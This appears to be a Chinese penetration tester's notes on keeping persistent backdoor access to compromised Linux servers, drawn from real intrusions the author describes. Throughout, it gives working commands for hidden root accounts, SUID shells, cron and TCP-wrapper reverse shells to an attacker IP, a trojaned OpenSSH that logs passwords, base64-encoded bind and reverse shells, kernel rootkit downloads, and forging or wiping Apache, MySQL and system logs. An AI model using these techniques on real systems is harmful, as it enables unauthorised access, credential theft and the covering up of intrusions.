在一次滲透中,成功獲取某目標幾台比較重要的機器,當時只想着獲取脫庫,結果動靜太大被發現了,之前滲透並沒太在意Linux維持權限,經過此次事后從Google找各種資料,一款滿意的rootkit都沒有,現在一直在關注這方面,但還是沒有找到滿意的后門,在滲透圈一個人的資源總是有限往往你全力追求的,也不過是別人的一層關系就可以解決得到更有力的資源。
- 增加超級用戶帳號
- 破解/嗅控用戶密碼
- 放置SUID Shell**
- 利用系統服務程序
- TCP/UDP/ICMP Shell
- Crontab定時任務
- 共享庫文件
- 工具包rootkit
- 可裝載內枋模塊(LKM)
增加超級用戶
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
如果系統不允許uid=0的用戶遠程登錄,可以增加一個普通用戶賬號echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
小案例
搞某外企,主站拿不下來進行C段滲透,發現某個業務系統存在Struts2漏洞。
Struts漏洞工具執行命令有些交互式沒有辦法回顯,所以通過無密碼添加密碼來連接SSH:
-
useradd seradd -u 0 -o -g root -G roo1
-
echo "123456" | passwd --stdin roo1 #有些環境中並不能成功
跑去登錄發現拒絕訪問,查看了下/etc/shadow
並沒有修改成功密碼,這時候我考慮了可能設置了密碼策略,所以我添加了一個14位,大小寫加特殊字符的,還是無法登錄,沒有辦法修改成功,因為無法回顯並不知道錯誤信息,所以試了幾個添加密碼的方法。
echo "roo1:password" |chpasswd
修改密碼失敗
-
echo "123456n123456" |(sudo passwd roo1)
-
#有些情況下是可以成功的一條命令
試了幾種方法都沒有修改成密碼,最后無回顯添加Linux密碼一種方法:
而這種方法是可以繞過密碼強速限制添加的。
-
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/
-
是之前寫的密碼太簡單了,而服務器有密碼策略,然后用mkpasswd
自動生成的密碼修改嘗試 NW8JLHV6m*ug,成功了。
其實這條也是可以成功的,需要密碼強度。
useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsxn1qaz2wsx"|passwd user1
破解
獲得shadow文件后,用John the Ripper
工具破解薄弱的用戶密碼,根據我所使用的情況下只能破解一些簡單常用密碼其它密碼很難跑出來。
除此之外可以使用hashcat
GPU、或者分布式服務器來進行破解
這里給出之前同事在本地裝的一台配置,價格好像也就3萬多:
supermicro超微7048GR-TR准系統 雙路塔式工作站4 GPU運算服務器 |一台
Intel/英特爾 XEON至強 E5-2620 V3 15M 2.4G 6核12 |2顆
金士頓 16G DDR4 REG ECC 2133 服務器內存條 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固態硬盤|2塊
NVIDIA技嘉GTX1070 Founders Edition 8G| 4張 32G GPU
對於跑Windows密碼還是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以貼出來搭建GPU破解服務器文章。
放置SUID Shell
(測試失敗):bash2針對suid做了一些護衛措施
普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。
-
cp /bin/bash /dev/.rootshell
-
chmod u+s /dev/.rootshell
Crontab后門
(容易被發現)
crontab命令被用來提交和管理用戶的需要周期性執行的任務,與windows下的計划任務類似,當安裝完成操作系統后,默認會安裝此服務工具,並且會自動啟動crond進程,crond進程每分鍾會定期檢查是否有要執行的任務,如果有要執行的任務,則自動執行該任務。
在Redis未授權訪問中可以利用此方法獲取Shell。
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`%100cn")|crontab –
ssh 公鑰免密
(容易被發現)
ssh-keygen -t rsa
把id_rsa.pub
寫入服務端的authorized_keys
中
-
chmod 600 ~/.ssh/authorized_keys
-
chmod 700 ~/.ssh
-
alias 后門
當前用戶目錄下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
pam 后門 or openssh
參考:
關於openssh通用后門的拓展
http://0cx.cc/ssh_get_password.jspx
-
wget http: //core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
-
wget http: //openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
-
tar zxvf openssh- 5.9p1.tar.gz
-
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
-
cd openssh- 5.9p1.patch/
-
cp sshbd5.9p1.diff ../openssh- 5.9p1
-
cd ../openssh- 5.9p1
-
patch < sshbd5.9p1.diff //patch 后門
vi includes.h //修改后門密碼,記錄文件位置,
/
+#define ILOG “/tmp/ilog” //記錄登錄到本機的用戶名和密碼
+#define OLOG “/tmp/olog” //記錄本機登錄到遠程的用戶名和密碼
+#define SECRETPW “123456654321” //你后門的密碼
/
-
yum install -y openssl openssl-devel pam-devel
-
./configure --prefix= /usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
-
-
yum install -y zlib zlib-devel
-
make && make install
-
service sshd restart //重啟sshd
Centos6可以使用后門,但是配合curl把登錄密碼發送到服務器失敗
SSH后門
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
執行完之后,任何一台機器ssh root@IP -p 31337
不需要密碼
SSH wrapper后門簡介
init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這里的時候,正則匹配會失敗,於是執行下一句,啟動/usr/bin/sshd,這是原始sshd。原始的sshd監聽端口建立了tcp連接后,會fork一個子進程處理具體工作。這個子進程,沒有什么檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了。此時子進程標准輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell。
-
cd /usr/sbin/
-
mv sshd ../bin/
-
echo '#!/usr/bin/perl' >sshd
-
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
-
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
-
chmod u+x sshd
-
/etc/init.d/sshd restart
連接:socat STDIO TCP4:target_ip:22,sourceport=13377
默認端口為13377否則會出現:
mafix rootkit
Mafix是一款常用的輕量應用級別Rootkits,是通過偽造ssh協議漏洞實現讓攻擊者遠程登陸的,特點是配置簡單並可以自定義驗證密碼和端口號。
利用系統服務程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan
程序替換in.telnetd、in.rexecd
等 inted的服務程序重定向login程序
TCP/UDP/ICMP Shell
Ping Backdoor,通過ICMP包激活后門, 形成一個Shell通道。
TCP ACK數據包后門,能夠穿越防火牆。
Linux下的icmp shell后門 容易被發現
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端./ishd -i 65535 -t 0 -p 1024 -d
控制端./ish -i 65535 -t 0 -p 1024 192.168.1.69
這個是py版的
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
Linux下ICMP后門PRISM
使用這種模式的后門將會在后台等待特定的包含主機/端口連接信息的ICMP數據包,通過私有密鑰可以阻止第三方訪問。后門進程接受ping包激活。
編譯安裝:gcc <..OPTIONS..> -Wall -s -o prism prism.c
-DDETACH #后台運行
-DSTATIC #開啟STATIC模式 (默認ICMP模式)
-DNORENAME #不使用自定義的進程名
-DIPTABLES #清空所有的iptables規則
用的是單台機器測試所以2個IP一樣:sendPacket.py 內機 FUCK 控制端 19832
測試感覺還行,不知道在真實環境下能否維持多久。
參考
http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/
其它文章:
共享庫文件
在共享庫中嵌入后門函數
使用后門口令激活Shell,獲得權限
能夠躲避系統管理員對二進制文件本身的 校驗
可裝載內核模塊(LKM)
LKM:Loadable Kernel Modules
動態的加載,不需要重新編譯內核。
截獲系統調用,具有隱藏目錄、文件、進 程、網絡連接等強大功能。
自身隱蔽性好,發現難度較大。
著名的LKM包有adore和knark。
內核級rootkit Kbeast的安裝與使用
支持的內核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
守護進程的PID是1747
ps aux命令也是無法查看到進程,除非指定進程名稱,我們把后門進程名稱偽靠系統服務也是可以讓管理員頭疼。
而通過nmap全端口掃描出現了13377后門端口,通過telnet連接
使用總結:
隱藏進程、隱藏端口
支持版本太少、重啟將失效。
隱藏文件
Linux/Unix 藏文件和文件夾
Linux/Unix 下想藏 Webshell 或者后門什么的,可以利用一下隱藏文件夾和文件。
方法一
比如創建一個名字開頭帶 . 的 Webshell 或者文件夾,默認情況下是不會顯示出來的,瀏覽器訪問的時候加點訪問就行。(查看方法:ls -a)
touch .webshell.php 創建名字為 .webshell.php 的文件
mkdir .backdoor/ 創建名字為 .backdoor 的文件夾
終極方法
在管理員喝多了或者腦子轉不過來的情況下,是絕對不會發現的!至少我用了這么久是沒幾個發現的。
是文件的話瀏覽器訪問直接輸 … 就行,目錄同理。
touch … 創建名字為 … 的文件
mkdir … 創建名字為 … 的文件夾
Git hooks
原是XTERM反彈Shell,老外與Git結合
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1
當更新git的時候會觸發:
git commit -am "Test"
PROMPT_COMMAND后門
bash提供了一個環境變量PROMPT_COMMAND
,這個變量會在你執行命令前執行一遍。
一般運維人員都將用來記錄每個用戶執行命令的時間ip等信息。
每執行一個命令之前都會調用這個變量將你操作的命令記錄下來。
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log'
但是在安全人員手里味道變得不一樣了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
Base64解密:
-
import socket,os,sys
-
s=socket.socket()
-
s.bind(( "",1025))
-
s.listen( 1)
-
( c,a)=s.accept()
-
while 1:
-
d= c.recv(512)
-
if 'exit' in d:
-
s.close()
-
sys.exit( 0)
-
r=os.popen(d).read()
-
c.send(r)
PROMPT_COMMAND提權
這個只是留做后門,有些黑客則是利用這點來進行提權。
這個要求管理員有su的習慣,我們可以通過它來添加一個id=0的用戶
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
除此之外可以利用script記錄某人行為:
基本用法:
script -t 2>demo.time -a demo.his
記錄保存為錄像scriptreplay demo.time demo.his
播放記錄
用戶家目錄下,修改環境變量,使得用戶登錄就會觸發錄像
-
vi ~/.profile
-
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his
Sudoers “trick”
其實Sudoers並不算后門,是一個Linux用戶控制權限
通過root權限改寫對普通用戶可執行root命令
sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"
授權用戶/組 主機=[(切換到哪些用戶或組)] [是否需要輸入密碼驗證] 命令1,命令2,...
更詳細文章參考:
https://segmentfault.com/a/1190000007394449
TCP Wrappers
TCP_Wrappers是一個工作在應用層的安全工具,它只能針對某些具體的應用或者服務起到一定的防護作用。比如說ssh、telnet、FTP等服務的請求,都會先受到TCP_Wrappers的攔截。
TCP_Wrappers有一個TCP的守護進程叫作tcpd。以telnet為例,每當有telnet的連接請求時,tcpd即會截獲請求,先讀取系統管理員所設置的訪問控制文件,合乎要求,則會把這次連接原封不動的轉給真正的telnet進程,由telnet完成后續工作;如果這次連接發起的ip不符合訪問控制文件中的設置,則會中斷連接請求,拒絕提供telnet服務。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
ssh訪問目標主機ssh qweqwe@192.168.4.100
觸發后門
nmap nse后門
很多linux系統中默認都安裝了nmap
-
mkdir -p ~ /.nmap/scripts/
-
cd ~ /.nmap/scripts/
-
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="
base64解密
echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#
解密
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);
進程注入
cymothoa進程注入后門
./cymothoa -p 1014 -s 0 -y 8888
只能連接一次后就失效沒啥用。
https://github.com/jorik041/cymothoa
清理
bash去掉history記錄
export HISTSIZE=0
export HISTFILE=/dev/null
修改上傳文件時間戳
touch -r 老文件時間戳 新文件時間戳
偽造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
Linux日志清除
首先是Apache日志,Apache主要的日志就是access.log``error_log
,前者記錄了HTTTP的訪問記錄,后者記錄了服務器的錯誤日志。根據Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不過這些都可以在httpd.conf中找到。
對於明文的Apache文件,通過正則表達式就可以搞定:sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我們的IP,192.168.1.4使我們偽造的IP。
在正則表達式中有特殊的含義,所以需要用“”來進行轉義。
MySQL日志文件log-error=/var/log/mysql/mysql_error.log
#錯誤日志log=/var/log/mysql/mysql.log
#最好注釋掉,會產生大量的日志,包括每一個執行的sql及環境變量的改變等等log-bin=/var/log/mysql/mysql_bin.log
# 用於備份恢復,或主從復制.這里不涉及。log-slow-queries=/var/log/mysql/mysql_slow.log
#慢查詢日志log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log
至於二進制日志文件,需要登錄mysql client來修改刪除,建議這種操作最先執行。
php日志修改sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log
最后就是Linux的日志文件了,這個比較多,記錄的也比較復雜,我的環境是CentOS 6.3。我現在只把和滲透有關的文件列出來,主要在/etc/logrotate.d/syslog
中
/var/log/maillog
,該日志文件記錄了每一個發送到系統或從系統發出的電子郵件的活動,它可以用來查看用戶使用哪個系統發送工具或把數據發送到哪個系統
var/log/messages
,該文件的格式是每一行包含日期、主機名、程序名,后面是包含PID或內核標識的方括號,一個冒號和一個空格
/var/log/wtmp
,該日志文件永久記錄每個用戶登錄、注銷及系統的啟動,停機的事件。該日志文件可以用來查看用戶的登錄記錄,last命令就通過訪問這個文件獲得這些信息,並以反序從后向前顯示用戶的登錄記錄,last也能根據用戶,終端tty或時間顯示相應的記錄
/var/run/utmp
,該日志文件記錄有關當前登錄的每個用戶的信息,因此這個文件會隨着用戶登錄和注銷系統而不斷變化,它只保留當時聯機的用戶記錄,不會為用戶保留永久的記錄。系統中需要查詢當前用戶狀態的程序,如who、w、users、finger等就需要訪問這個文件
/var/log/xferlog
,該日志文件記錄FTP會話,可以顯示出用戶向FTP服務器或從服務器拷貝了什么文件。該文件會顯示用戶拷貝到服務器上的用來入侵服務器的惡意程序,以及該用戶拷貝了哪些文件供他使用。
bash_history
,這是bash終端的命令記錄,能夠記錄1000條最近執行過的命令(具體多少條可以配置),通過這個文件可以分析此前執行的命令來知道知否有入侵者,每一個用戶的home目錄里都有這么一個文件
清除腳本:
https://github.com/JonGates/jon
之前記錄的筆記反過來看Linux后門的各種類型也算是比較全面了,最后我還是沒有找到中意的后門,商業的又買不起,自己又不會寫,轉行了轉行了搞毛滲透。
參考鏈接:
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save
linux一種無文件后門技巧(譯文)
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%E6%96%87%E4%BB%B6%E5%90%8E%E9%97%A8%E6%8A%80%E5%B7%A7(%E8%AF%91%E6%96%87)/